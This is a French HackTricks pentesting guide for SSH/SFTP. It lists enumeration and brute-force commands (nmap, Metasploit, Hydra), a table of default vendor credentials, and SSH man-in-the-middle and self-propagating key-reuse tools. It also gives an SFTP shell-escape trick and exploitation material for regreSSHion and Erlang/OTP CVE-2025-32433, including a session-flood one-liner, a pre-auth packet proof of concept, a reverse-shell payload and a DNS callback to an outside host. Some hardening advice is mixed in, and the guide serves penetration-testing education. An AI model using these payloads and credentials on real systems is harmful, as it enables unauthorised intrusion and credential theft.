22 - Pentesting SSH/SFTP

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

SSH (Secure Shell or Secure Socket Shell) est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour préserver la confidentialité et l’intégrité des données lors de l’accès à des systèmes distants.

Port par défaut : 22

22/tcp open  ssh     syn-ack

Serveurs SSH:

  • openSSH – OpenBSD SSH, inclus dans BSD, les distributions Linux et Windows depuis Windows 10
  • Dropbear – implémentation SSH pour environnements à faible mémoire et ressources processeur, inclus dans OpenWrt
  • PuTTY – implémentation SSH pour Windows; le client est couramment utilisé mais l’utilisation du serveur est plus rare
  • CopSSH – implémentation d’OpenSSH pour Windows

Bibliothèques SSH (implémentation côté serveur):

  • libssh – bibliothèque C multiplateforme implémentant le protocole SSHv2 avec des bindings en Python, Perl et R; elle est utilisée par KDE pour sftp et par GitHub pour l’infrastructure git SSH
  • wolfSSH – bibliothèque serveur SSHv2 écrite en ANSI C et destinée aux environnements embarqués, RTOS et à ressources contraintes
  • Apache MINA SSHD – la bibliothèque Java Apache SSHD est basée sur Apache MINA
  • paramiko – bibliothèque Python du protocole SSHv2

Énumération

nc -vn <IP> 22

ssh-audit automatisé

ssh-audit est un outil d’audit de la configuration des serveurs et clients ssh.

https://github.com/jtesta/ssh-audit est un fork mis à jour de https://github.com/arthepsy/ssh-audit/

Fonctionnalités :

  • Prise en charge des serveurs utilisant les protocoles SSH1 et SSH2 ;
  • analyser la configuration des clients SSH ;
  • récupérer la bannière, reconnaître l’appareil ou le logiciel et le système d’exploitation, détecter la compression ;
  • recueillir les algorithmes d’échange de clés, de clé d’hôte, de chiffrement et de code d’authentification de message ;
  • afficher des informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sûr/faible/obsolète, etc.) ;
  • fournir des recommandations sur les algorithmes (ajouter ou supprimer selon la version du logiciel reconnue) ;
  • fournir des informations de sécurité (problèmes liés, liste des CVE attribués, etc.) ;
  • analyser la compatibilité des versions SSH en se basant sur les informations d’algorithmes ;
  • informations historiques provenant de OpenSSH, Dropbear SSH et libssh ;
  • fonctionne sur Linux et Windows ;
  • sans dépendances
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Clé SSH publique du serveur

ssh-keyscan -t rsa <IP> -p <PORT>

Algorithmes de chiffrement faibles

Ceci est découvert par défaut par nmap. Mais vous pouvez aussi utiliser sslcan ou sslyze.

Scripts Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

Dans certaines versions d’OpenSSH, il est possible d’effectuer une timing attack pour énumérer les utilisateurs. Vous pouvez utiliser un module metasploit pour exploiter cela :

msf> use scanner/ssh/ssh_enumusers

Brute force

Quelques identifiants ssh courants ici et ici et ci-dessous.

Private Key Brute Force

Si vous connaissez certaines clés privées ssh susceptibles d’être utilisées… essayons. Vous pouvez utiliser le script nmap :

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Ou le module auxiliaire de MSF :

msf> use scanner/ssh/ssh_identify_pubkeys

Or use ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Weak SSH keys / Debian predictable PRNG

Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer le matériel cryptographique. Cela peut entraîner un espace de clés drastiquement réduit, pouvant être bruteforcé. Des ensembles de clés pré-générées issues de systèmes Debian affectés par un PRNG faible sont disponibles ici : g0tmi1k/debian-ssh.

Vous devriez consulter ces ressources pour rechercher des clés valides pour la machine victime.

Kerberos / GSSAPI SSO

If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.

Workflow from a Linux attacker host:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notes:

  • Si vous vous connectez au mauvais nom (par ex. nom court, alias, ou mauvais ordre dans /etc/hosts), vous pouvez obtenir : “Server not found in Kerberos database” parce que le SPN ne correspond pas.
  • crackmapexec ssh --kerberos peut aussi utiliser votre ccache pour l’authentification Kerberos.

Identifiants par défaut

FournisseurNoms d’utilisateurMots de passe
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Si vous êtes sur le réseau local et que la victime va se connecter au serveur SSH en utilisant un nom d’utilisateur et un mot de passe, vous pouvez essayer de réaliser une attaque MitM pour voler ces identifiants :

Chemin d’attaque :

  • Redirection du trafic : L’attaquant détourne le trafic de la victime vers sa machine, interceptant ainsi la tentative de connexion au serveur SSH.
  • Interception et journalisation : La machine de l’attaquant agit comme un proxy, capturant les identifiants de connexion de l’utilisateur en se faisant passer pour le serveur SSH légitime.
  • Exécution des commandes et relais : Enfin, le serveur de l’attaquant enregistre les identifiants de l’utilisateur, transmet les commandes au vrai serveur SSH, les exécute, et renvoie les résultats à l’utilisateur, rendant le processus transparent et légitime.

SSH MITM fait exactement ce qui est décrit ci‑dessus.

Pour effectuer le véritable MitM vous pouvez utiliser des techniques comme ARP spoofing, DNS spoofin ou d’autres décrites dans les Network Spoofing attacks.

SSH-Snake

Si vous voulez traverser un réseau en utilisant des clés privées SSH découvertes sur des systèmes, en utilisant chaque clé privée sur chaque système pour atteindre de nouveaux hôtes, alors SSH-Snake est ce qu’il vous faut.

SSH-Snake exécute automatiquement et récursivement les tâches suivantes :

  1. Sur le système courant, trouver toutes les clés privées SSH,
  2. Sur le système courant, trouver tous les hôtes ou destinations (user@host) où les clés privées peuvent être acceptées,
  3. Tenter de SSH vers toutes les destinations en utilisant toutes les clés privées découvertes,
  4. Si une destination est connectée avec succès, répéter les étapes #1 - #4 sur le système connecté.

C’est complètement auto‑réplicatif et auto‑propagatif — et totalement fileless.

Mauvaises configurations

Connexion root

Il est courant que les serveurs SSH autorisent la connexion de l’utilisateur root par défaut, ce qui représente un risque de sécurité significatif. Désactiver la connexion root est une étape critique pour sécuriser le serveur. L’accès non autorisé avec des privilèges administratifs et les attaques par force brute peuvent être atténués en appliquant ce changement.

Pour désactiver la connexion root dans OpenSSH :

  1. Éditez le fichier de configuration SSH avec : sudoedit /etc/ssh/sshd_config
  2. Modifiez le paramètre de #PermitRootLogin yes à PermitRootLogin no.
  3. Rechargez la configuration avec : sudo systemctl daemon-reload
  4. Redémarrez le serveur SSH pour appliquer les changements : sudo systemctl restart sshd

SFTP Brute Force

Exécution de commandes via SFTP

Il existe un oubli courant dans les configurations SFTP, où les administrateurs veulent que les utilisateurs échangent des fichiers sans activer l’accès shell à distance. Malgré le fait de définir des utilisateurs avec des shells non‑interactifs (par ex. /usr/bin/nologin) et de les confiner à un répertoire spécifique, une faille de sécurité subsiste. Les utilisateurs peuvent contourner ces restrictions en demandant l’exécution d’une commande (comme /bin/bash) immédiatement après la connexion, avant que leur shell non‑interactif ne prenne effet. Cela permet l’exécution non autorisée de commandes, sapant les mesures de sécurité prévues.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Voici un exemple de configuration SFTP sécurisée (/etc/ssh/sshd_config – openSSH) pour l’utilisateur noraj :

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Cette configuration n’autorisera que SFTP : elle désactive l’accès shell en forçant la commande de démarrage et l’accès TTY, mais désactive aussi tout type de port forwarding ou tunneling.

SFTP Tunneling

Si vous avez accès à un serveur SFTP, vous pouvez aussi faire du tunneling de votre trafic à travers celui-ci, par exemple en utilisant le port forwarding classique :

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

Le sftp dispose de la commande “symlink”. Ainsi, si vous avez des droits en écriture dans un dossier, vous pouvez créer des symlinks d’autres dossiers/fichiers. Comme vous êtes probablement confiné dans un chroot, cela ne vous sera pas spécialement utile, mais, si vous pouvez accéder au symlink créé depuis un no-chroot service (par exemple, si vous pouvez accéder au symlink depuis le web), vous pourriez ouvrir les fichiers pointés par le symlink via le web.

Par exemple, pour créer un symlink depuis un nouveau fichier froot” vers “/:

sftp> symlink / froot

Si vous pouvez accéder au fichier “froot” via le web, vous pourrez lister le dossier racine (“/”) du système.

Méthodes d’authentification

Dans un environnement hautement sécurisé, il est courant d’activer uniquement key-based ou two factor authentication plutôt que l’authentification par password à facteur unique. Mais souvent les méthodes d’authentification plus fortes sont activées sans désactiver les méthodes plus faibles. Un cas fréquent est d’activer publickey dans la configuration openSSH et de la définir comme méthode par défaut sans désactiver password. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu’une méthode plus faible est activée :

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Par exemple, si une limite d’échecs d’authentification est définie et que vous n’avez jamais la possibilité d’atteindre la méthode password, vous pouvez utiliser l’option PreferredAuthentications pour forcer l’utilisation de cette méthode.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Il est nécessaire d’examiner la configuration du serveur SSH pour vérifier que seules les méthodes attendues\ sont autorisées. L’utilisation du mode verbeux sur le client peut aider à voir\ l’efficacité de la configuration.

Config files

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Vulnérabilités critiques récentes (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 a supprimé le garde-fou async-safe du logging dans le handler SIGALRM de sshd, réintroduisant CVE-2006-5051 et permettant à des attaquants non authentifiés de corrompre le heap glibc dès l’expiration de LoginGraceTime. Qualys a matérialisé le bug pour un RCE root sur Linux 32-bit et a noté que les cibles 64-bit restent exploitables par brute-force avec suffisamment de tentatives de préparation, donc priorisez les hôtes qui divulguent encore ces versions lors des banner grabs.

L’exploitation est basée sur le timing : inondez le daemon de sessions semi-ouvertes qui n’authentifient jamais pour que le monitor privilégié frappe de façon répétée le chemin signal vulnérable pendant que vous façonnez l’état de l’allocateur.

Conseils opérateur :

  • Fingerprint des builds avec ssh -V (remote banner) ou ssh -G <target> | grep ^userauths et confirmez que LoginGraceTime n’est pas zéro.
  • Testez la résistance d’une cible de labo en spammant des sessions éphémères qui ne demandent aucune authentification, par exemple :
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • Les hôtes qui forcent LoginGraceTime 0 ne touchent jamais le chemin de code bogué — attendez-vous seulement à un angle DoS en épuisant MaxStartups.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 et 5.6.1 ont été distribués avec des tarballs de release trojanisés dont les scripts de build décompressent un objet caché lors du packaging Debian/RPM sur x86-64 Linux. Le payload abuse du resolver IFUNC de glibc pour hooker RSA_public_decrypt dans sshd (lorsque des patchs systemd forcent liblzma à être chargé) et accepte des paquets signés par l’attaquant pour exécution de code pré-auth.

Parce que la logique malveillante existe uniquement à l’intérieur de ces binaires packagés, la validation offensive doit inspecter ce que la victime a réellement installé : vérifiez xz --version, rpm -qi xz/dpkg -l xz-utils, comparez les hashes de /usr/lib*/liblzma.so*, et inspectez ldd /usr/sbin/sshd | grep -E "systemd|lzma" pour voir si sshd charge même la dépendance compromise. Le hook reste dormant sauf si le chemin du processus est /usr/sbin/sshd, donc recréer l’environnement de build de la distro est souvent requis pour reproduire le backdoor en labo.

Authentication State-Machine Bypass (Pre-Auth RCE)

Plusieurs implémentations de serveurs SSH contiennent des erreurs logiques dans la machine à états finis d’authentication qui permettent à un client d’envoyer des messages du connection-protocol avant la fin de l’authentification. Parce que le serveur ne vérifie pas qu’il se trouve dans l’état correct, ces messages sont traités comme si l’utilisateur était entièrement authentifié, conduisant à une exécution de code non authentifiée ou à la création de sessions.

Au niveau du protocole, tout message SSH avec un message code ≥ 80 (0x50) appartient à la couche connection (RFC 4254) et doit être accepté uniquement après une authentification réussie (RFC 4252). Si le serveur traite un de ces messages alors qu’il est encore dans l’état SSH_AUTHENTICATION, l’attaquant peut immédiatement créer un channel et demander des actions telles que l’exécution de commandes, le port-forwarding, etc.

Étapes générales d’exploitation

  1. Établir une connexion TCP vers le port SSH de la cible (communément 22, mais d’autres services peuvent exposer Erlang/OTP sur 2022, 830, 2222…).
  2. Forger un paquet SSH brut :
  • 4-octets packet_length (big-endian)
  • 1-octet message_code ≥ 80 (par ex. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload qui sera interprété par le type de message choisi
  1. Envoyer le(s) paquet(s) avant d’avoir terminé toute étape d’authentification.
  2. Interagir avec les APIs du serveur désormais exposées pre-auth (exécution de commande, port forwarding, accès au système de fichiers, …).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

En pratique, vous devrez effectuer (ou passer) le key-exchange selon l’implémentation cible, mais aucune authentification n’est jamais effectuée.


Erlang/OTP sshd (CVE-2025-32433)

  • Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Root cause: le daemon SSH natif d’Erlang ne valide pas l’état courant avant d’invoquer ssh_connection:handle_msg/2. Par conséquent, tout paquet avec un code de message 80-255 atteint le gestionnaire de connexion alors que la session est encore dans l’état userauth.
  • Impact: remote code execution non authentifiée (le daemon s’exécute généralement en tant que root sur les appareils embedded/OT).

Exemple de payload qui lance un reverse shell lié au canal contrôlé par l’attaquant :

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection peut être effectuée via DNS :

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Détection et atténuation :

  • Inspect SSH traffic: rejeter tout paquet dont le code de message ≥ 80 observé avant l’authentification.
  • Mettre à niveau Erlang/OTP vers 27.3.3 / 26.2.5.11 / 25.3.2.20 ou une version plus récente.
  • Restreindre l’exposition des ports de management (22/2022/830/2222) – en particulier sur les équipements OT.

Autres implémentations affectées

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – accepte un SSH_MSG_USERAUTH_SUCCESS non authentifié envoyé par le client, constituant en pratique la faille logique inverse.

La leçon commune est que toute déviation par rapport aux transitions d’état imposées par le RFC peut être fatale ; lors de la revue ou du fuzzing des daemons SSH, portez une attention particulière à state-machine enforcement.

Références

Commandes automatiques HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks